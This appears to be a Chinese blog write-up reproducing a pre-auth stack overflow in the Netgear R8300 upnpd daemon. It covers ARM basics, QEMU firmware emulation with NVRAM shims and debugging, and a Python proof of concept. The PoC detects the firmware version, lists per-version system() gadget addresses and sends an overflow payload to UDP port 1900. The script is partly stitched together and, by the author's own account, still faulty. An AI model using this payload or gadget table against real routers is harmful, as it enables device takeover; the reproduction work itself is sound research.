Contents
  1. 1. ARM前言
    1. 1.1. arm32指令
    2. 1.2. 32位
    3. 1.3. (64位)
    4. 1.4. 叶函数 非页函数
  2. 2. 漏洞点
  3. 3. 环境搭建
    1. 3.1. user mod
      1. 3.1.1. 修复NVRAM错误
  4. 4. sys mod
    1. 4.1. 探测目标版本
  5. 5. poc
  6. 6. 其他
    1. 6.1. 获取ARM架构的libc.so.6文件方法
  7. 7. 附录

复现一个Netgear R8300设备的栈溢出漏洞,要求是编写先探测目标版本号,再发送payload的POC

ARM前言

arm32指令

指令 描述 指令 描述
MOV 移动数据 EOR 按位异或
MVN 移动并取反 LDR 加载
ADD STR 存储
SUB LDM 加载多个
MUL STM 存储多个
LSL 逻辑左移 PUSH 入栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 跳转
ROR 右旋 BL Link跳转
CMP 比较 BX 分支跳转
AND 按位与 BLX 使用Link分支跳转
ORR 按位或 SWI/SVC 系统调用
ARM架构 寄存器名 寄存器描述 Intel架构 寄存器名
R0 通用寄存器 EAX
R1~R5 通用寄存器 EBX、ECX、EDX、EDI、ESI
R6~R10 通用寄存器
R11(FP) 栈帧指针 EBP
R12(IP) 内部程序调用
R13(SP) 堆栈指针 ESP
R14(LP) 链接寄存器
R15(PC) 程序计数器 EIP
CPSR 程序状态寄存器 EFLAGS

32位

  1. 参数传递

    前4个参数通过R0 ~ R3传递,第4个参数需要通过sp访问,第5个参数需要sp+4访问,第n个参数需要通过sp + 4*(n-4)访问;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值

  2. 在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存

  3. 子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位

(64位)

  1. 参数传递

    前8个参数是通过x0~x7传递,第8个参数需要通过sp访问,第9个参数需要通过sp + 8 访问,第n个参数需要通过sp + 8*(n-8)访问。

叶函数 非页函数

叶函数是指本身不会调用其他函数。非叶函数是指除了它自己的逻辑外,还会调用到其他的函数。

漏洞点

sub_1D020
sub_25E04

0x634-0x58=0x5dc即可溢出v40,0x634-0x34覆盖到v51指针

环境搭建

固件下载地址:https://www.netgear.com/support/product/R8300.aspx#Firmware%20Version%201.0.2.130

user mod

1
2
$ cp $(which qemu-arm-static) .
$ sudo chroot . ./qemu-arm-static --strace ./usr/sbin/upnpd

看到日志 31181 open("/var/run/upnpd.pid",O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)

1
2
3
4
5
$ ll ./
total 5972
......
lrwxrwxrwx 1 kk kk 7 Dec 12 2018 var -> tmp/var/
drwxr-xr-x 8 kk kk 28672 Dec 12 2018 www/

所以我们需要创建./tmp/var/run目录,或通过使用-L参数解决

1
$ mkdir -p ./tmp/var/run

再次运行

1
$ sudo chroot . ./qemu-arm-static ./usr/sbin/upnpd

大量报错

1
2
3
4
5
6
7
8
9
10
11
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
open: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory
/dev/nvram: No such file or directory

关于LD_PRELOADhttps://payloads.online/archivers/2020-01-01/1#

修复NVRAM错误

  • 法一

https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

1
2
$ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so
$ sudo chroot ./ ./qemu-arm-static -E LD_PRELOAD=nvram.so ./usr/sbin/upnpd

报错:

解决方法:在lib目录下有libc.so.0,创建一个软链接

1
$ ln -s libc.so.0 libc.so.6

再次运行提示

查找dlsym

1
2
3
$ sudo grep -r "dlsym" .
$ readelf -a ./lib/libdl.so.0 | grep dlsym
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym

再次运行

1
$ sudo chroot ./ ./qemu-arm-static -E LD_PRELOAD="nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd

根据报错创建文件

1
$ touch ./tmp/nvram.ini

然后继续修改nvram配置 在./tmp/nvram.ini中添加配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
upnpd_debug_level=9
lan_ipaddr=192.168.65.1
hwrev=MP1T99
hwver=R8500
friendly_name=R8300
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF
  • 法二

https://github.com/zcutlip/nvram-faker

https://github.com/firmadyne/libnvram⭐

编译运行

1
2
3
4
5
6
7
// 我将libnvram的makefile文件中的CC设置为 arm-linux-gcc
$ ./Makefile
$ make
$ cp libnvram.so ~/iot/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root/firmadyne/libnvram.so
// 在squashfs-root目录下
$ mkdir -p /firmadyne/libnvram/
$ mkdir -p /firmadyne/libnvram.override/

再次运行

1
$ sudo chroot . ./qemu-arm-static -E LD_PRELOAD=./firmadyne/libnvram.so ./usr/sbin/upnpd

根据缺少的配置 进行补全,见附录1_config.h

输出的信息会发现,IP总被劫持为0000,将/usr/lib/libnvram.so 替换成我们编译的libnvram.so即可…也不需要ld_preload附加调试了。

Netgear Nighthawk R8300 upnpd PreAuth RCE 复现辅助

https://www.anquanke.com/post/id/215428

sys mod

同上法一 运行成功

1
# LD_PRELOAD='./nvram.so /lib/libdl.so.0' /usr/sbin/upnpd

开始远程调试

1
# ./gdbserver --attach 192.168.65.2:1234 $(ps|grep upnpd|grep -v grep|awk '{print $1}')
1
2
3
4
$ gdb-multiarch
pwndbg> set architecture arm
The target architecture is assumed to be arm
pwndbg> target remote 192.168.65.2:1234
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
## exp.py
#!/usr/bin/python3

import socket
import struct

p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # 0x7eb1d5ec
p32(0x7eb1d5ec) + # v51
(0x634 - 0x604 - 8) * b'a' +
p32(0x43434343) # PC
)
s.connect(('192.168.65.2', 1900))
s.send(payload)
s.close()

第一次直接运行python exp.py发现

再次调试运行,运行出现upnp_turn_on=1后再执行脚本出现错误

探测目标版本

https://github.com/grimm-co/NotQuite0DayFriday

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import SimpleHTTPServer
import SocketServer
import argparse
import collections
import os
import shutil
import socket
import struct
import sys
import time

address_info = {
"R8300" : {
# 0) gadget: calls system($sp)
"1.0.2.130" : 0x35B18,
"1.0.2.128" : 0x35B18,
"1.0.2.122" : 0x355fc,
"1.0.2.116" : 0x35258,
"1.0.2.106" : 0x34f40,
"1.0.2.100" : 0x34d38,
"1.0.2.94" : 0x34d8c,
"1.0.2.86" : 0x348b8,
"1.0.2.80" : 0x348b8,
"1.0.2.48" : 0x340b8,
},
}

firmware_version_to_human_version = {
"R8300" : {
# These version strings may be slightly off. Versions 1.0.2.128 and 1.0.2.130 only used
# the short versions, rather than the full version string like other models.
"V1.0.2.130" : "1.0.2.130",
"V1.0.2.128" : "1.0.2.128",
"V1.0.2.122_1.0.94" : "1.0.2.122",
"V1.0.2.116_1.0.90" : "1.0.2.116",
"V1.0.2.106_1.0.85" : "1.0.2.106",
"V1.0.2.100_1.0.82" : "1.0.2.100",
"V1.0.2.94_1.0.79" : "1.0.2.94",
"V1.0.2.86_1.0.75" : "1.0.2.86",
"V1.0.2.80_1.0.71" : "1.0.2.80",
"V1.0.2.48_1.0.52" : "1.0.2.48",
},
}

ftp_devices = {"WNR3500" : "arm_lsb", "WNCE3001" : "mips_msb"}

def send(ip, port, is_https, payload, keep_open = False):
if is_https:
return send_ssl(ip, port, payload, keep_open)
else:
return send_plain(ip, port, payload, keep_open)

def send_plain(ip, port, payload, keep_open):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip, port))
sock.send(payload)
if keep_open:
return sock
sock.close()

def send_ssl(ip, port, payload, keep_open):
import ssl
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
wrappedSocket = ssl.wrap_socket(sock)
wrappedSocket.connect((ip, port))
wrappedSocket.send(payload)
if keep_open:
return wrappedSocket
wrappedSocket.close()

def find_item(contents, start_string):
start = contents.find(start_string)
if(start == -1):
print("Failed to automatically detect version.")
sys.exit(1)

start += len(start_string)
end = contents.find("\r\n", start)
return contents[start:end].upper() # upper just in case

def detect_model_version(ip, port, is_https):
request = "GET /currentsetting.htm HTTP/1.1\r\nHost: {}\r\n\r\n".format(ip)
sock = send(ip, port, is_https, request, True)

contents = ""
while contents.find("InternetConnectionStatus") == -1 and contents.find("401 Unauthorized") == -1:
contents += sock.recv(1)

# Some older models/versions don't have the currentsetting.htm page, or it's protected by login
if contents.find("401 Unauthorized") != -1:
print("Version detection against this router is not possible using currentsetting.htm.")
print("Received response:\n{}\n".format(contents))
sys.exit(1)

model = find_item(contents, "Model=")
firmware_version = find_item(contents, "Firmware=")

if (model not in firmware_version_to_human_version.keys() or
firmware_version not in firmware_version_to_human_version[model]):
print("Unknown model and version: {} {}".format(model, firmware_version))
sys.exit(1)

return model, firmware_version_to_human_version[model][firmware_version]

def main(args):
# find version
if args.version == "" or args.model == "":
if args.csrf:
print("The model and version cannot be automatically determined in CSRF mode.")
sys.exit(1)
args.model, args.version = detect_model_version(args.ip, args.port, args.https)
print("Automatically detected model {} and version {}".format(args.model, args.version))

# prove
p32 = lambda x: struct.pack("<L", x)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = (
0x604 * b'a' + # 0x7eb1d5ec
p32(0x7eb1d5ec) + # v51
(0x634 - 0x604 - 8) * b'a' +
p32(0x43434343) # PC
)
s.connect(('192.168.65.2', 1900))
s.send(payload)
s.close()



if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Run the exploit')
parser.add_argument('ip', type=str, default=None, help='The IP address of the webserver to exploit')
parser.add_argument('-command', type=str, default="START_TELNET", help='The command to run; default is to start telnet on port 8888 (or 3333 if 8888 is already used)')
parser.add_argument('-csrf', required=False, action='store_true', help='Run a web server that sends the exploit as a CSRF payload')
parser.add_argument('-https', required=False, action='store_true', help='Run the exploit against a webserver running HTTPS')
parser.add_argument('-file', required=False, action='store_true', help='Write the exploit firmware to a file (which typically'
+ ' has a file extension .chk). Use the ip argument to specify the filename.')
parser.add_argument('-port', type=int, default=80, help='The port of the webserver to exploit')
parser.add_argument('-model', type=str, default="", help='The model of the webserver to exploit (default autodetect).'
+ ' Supported models are: {}'.format(", ".join(address_info.keys())))
parser.add_argument('-version', type=str, default="", help='The version of the webserver to exploit (default autodetect).'
+ ' Supported versions are: {}'.format("; ".join(["{}: {}".format(x, ", ".join(address_info[x])) for x in address_info.keys()])))
parser.add_argument('-local_ip', type=str, default="", help='The IP address the exploited host should connect back to download a'
+ ' payload, only used on the devices: {} (default autodetect).'.format(", ".join(ftp_devices.keys())))
parser.add_argument('-version-only', required=False, action='store_true', help="Only detect the model/version of a device, don't exploit")
args = parser.parse_args()
args.model = args.model.upper()

main(args)

脚本还有点儿问题

其他

获取ARM架构的libc.so.6文件方法

1
2
3
4
$ apt-cache search libc6 | grep armel
$ sudo apt-get install libc6-armel-cross【举例】
共享库目录
/usr/arm-linux-gnueabi

附录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# 1_config.h

#ifndef INCLUDE_CONFIG_H
#define INCLUDE_CONFIG_H

// Determines whether debugging information should be printed to stderr.
#define DEBUG 1
// Determines the size of the internal buffer, used for manipulating and storing key values, etc.
#define BUFFER_SIZE 256
// Determines the size of the "emulated" NVRAM, used by nvram_get_nvramspace().
#define NVRAM_SIZE 2048
// Determines the maximum size of the user-supplied output buffer when a length is not supplied.
#define USER_BUFFER_SIZE 64
// Determines the unique separator character (as string) used for the list implementation. Do not use "\0".
#define LIST_SEP "\xff"
// Special argument used to change the semantics of the nvram_list_exist() function.
#define LIST_MAGIC 0xdeadbeef
// Identifier value used to generate IPC key in ftok()
#define IPC_KEY 'A'
// Timeout for the semaphore
#define IPC_TIMEOUT 1000
// Mount point of the base NVRAM implementation.
#define MOUNT_POINT "/firmadyne/libnvram/"
// Location of NVRAM override values that are copied into the base NVRAM implementation.
#define OVERRIDE_POINT "/firmadyne/libnvram.override/"

// Define the semantics for success and failure error codes.
#define E_FAILURE 0
#define E_SUCCESS 1

// Default paths for NVRAM default values.
#define NVRAM_DEFAULTS_PATH \
/* "DIR-505L_FIRMWARE_1.01.ZIP" (10497) */ \
PATH("/var/etc/nvram.default") \
/* "DIR-615_REVE_FIRMWARE_5.11.ZIP" (9753) */ \
PATH("/etc/nvram.default") \
/* "DGL-5500_REVA_FIRMWARE_1.12B05.ZIP" (9469) */ \
TABLE(router_defaults) \
PATH("/etc/nvram.conf") \
PATH("/etc/nvram.deft") \
PATH("/etc/nvram.update") \
TABLE(Nvrams) \
PATH("/etc/wlan/nvram_params") \
PATH("/etc/system_nvram_defaults")

// Default values for NVRAM.
#define NVRAM_DEFAULTS \
/* Used by Netgear router: enable upnpd log */\
ENTRY("upnpd_debug_level", nvram_set, "4")\
/* Used by "Netgear R8300" */ \
ENTRY("hwrev", nvram_set, "R8500")\
ENTRY("friendly_name", nvram_set, "R8300")\
ENTRY("upnp_enable", nvram_set, "1")\
ENTRY("upnp_turn_on", nvram_set, "1")\
ENTRY("upnp_advert_period", nvram_set, "30")\
ENTRY("upnp_advert_ttl", nvram_set, "4")\
ENTRY("upnp_portmap_entry", nvram_set, "1")\
ENTRY("upnp_duration", nvram_set, "3600")\
ENTRY("upnp_DHCPServerConfigurable", nvram_set, "1")\
ENTRY("wps_is_upnp", nvram_set, "0")\
ENTRY("upnp_sa_uuid", nvram_set, "00000000000000000000")\
ENTRY("lan_hwaddr", nvram_set, "AA:BB:CC:DD:EE:FF")\
\
/* Linux kernel log level, used by "WRT54G3G_2.11.05_ETSI_code.bin" (305) */ \
ENTRY("console_loglevel", nvram_set, "7") \
/* Reset NVRAM to default at bootup, used by "WNR3500v2-V1.0.2.10_23.0.70NA.chk" (1018) */ \
ENTRY("restore_defaults", nvram_set, "1") \
ENTRY("sku_name", nvram_set, "") \
ENTRY("wla_wlanstate", nvram_set, "") \
ENTRY("lan_if", nvram_set, "br0") \
ENTRY("lan_ipaddr", nvram_set, "192.168.65.135") \
ENTRY("lan_bipaddr", nvram_set, "192.168.65.255") \
ENTRY("lan_netmask", nvram_set, "255.255.255.0") \
/* Set default timezone, required by multiple images */ \
ENTRY("time_zone", nvram_set, "EST5EDT") \
/* Set default WAN MAC address, used by "NBG-416N_V1.00(USA.7)C0.zip" (12786) */ \
ENTRY("wan_hwaddr_def", nvram_set, "01:23:45:67:89:ab") \
/* Attempt to define LAN/WAN interfaces */ \
ENTRY("wan_ifname", nvram_set, "eth0") \
ENTRY("lan_ifnames", nvram_set, "eth1 eth2 eth3 eth4") \
/* Used by "TEW-638v2%201.1.5.zip" (12898) to prevent crash in 'goahead' */ \
ENTRY("ethConver", nvram_set, "1") \
/* Used by "Firmware_TEW-411BRPplus_2.07_EU.zip" (13649) to prevent crash in 'init' */ \
ENTRY("lan_proto", nvram_set, "dhcp") \
ENTRY("wan_ipaddr", nvram_set, "0.0.0.0") \
ENTRY("wan_netmask", nvram_set, "255.255.255.0") \
ENTRY("wanif", nvram_set, "eth0") \
/* Used by "DGND3700 Firmware Version 1.0.0.17(NA).zip" (3425) to prevent crashes */ \
ENTRY("time_zone_x", nvram_set, "0") \
ENTRY("rip_multicast", nvram_set, "0") \
ENTRY("bs_trustedip_enable", nvram_set, "0")\
/* Used by Netgear router: enable upnpd log */ \
ENTRY("upnpd_debug_level", nvram_set, "3") \
/* Used by "Netgear R8300" */ \
ENTRY("hwrev", nvram_set, "MP1T99")


#endif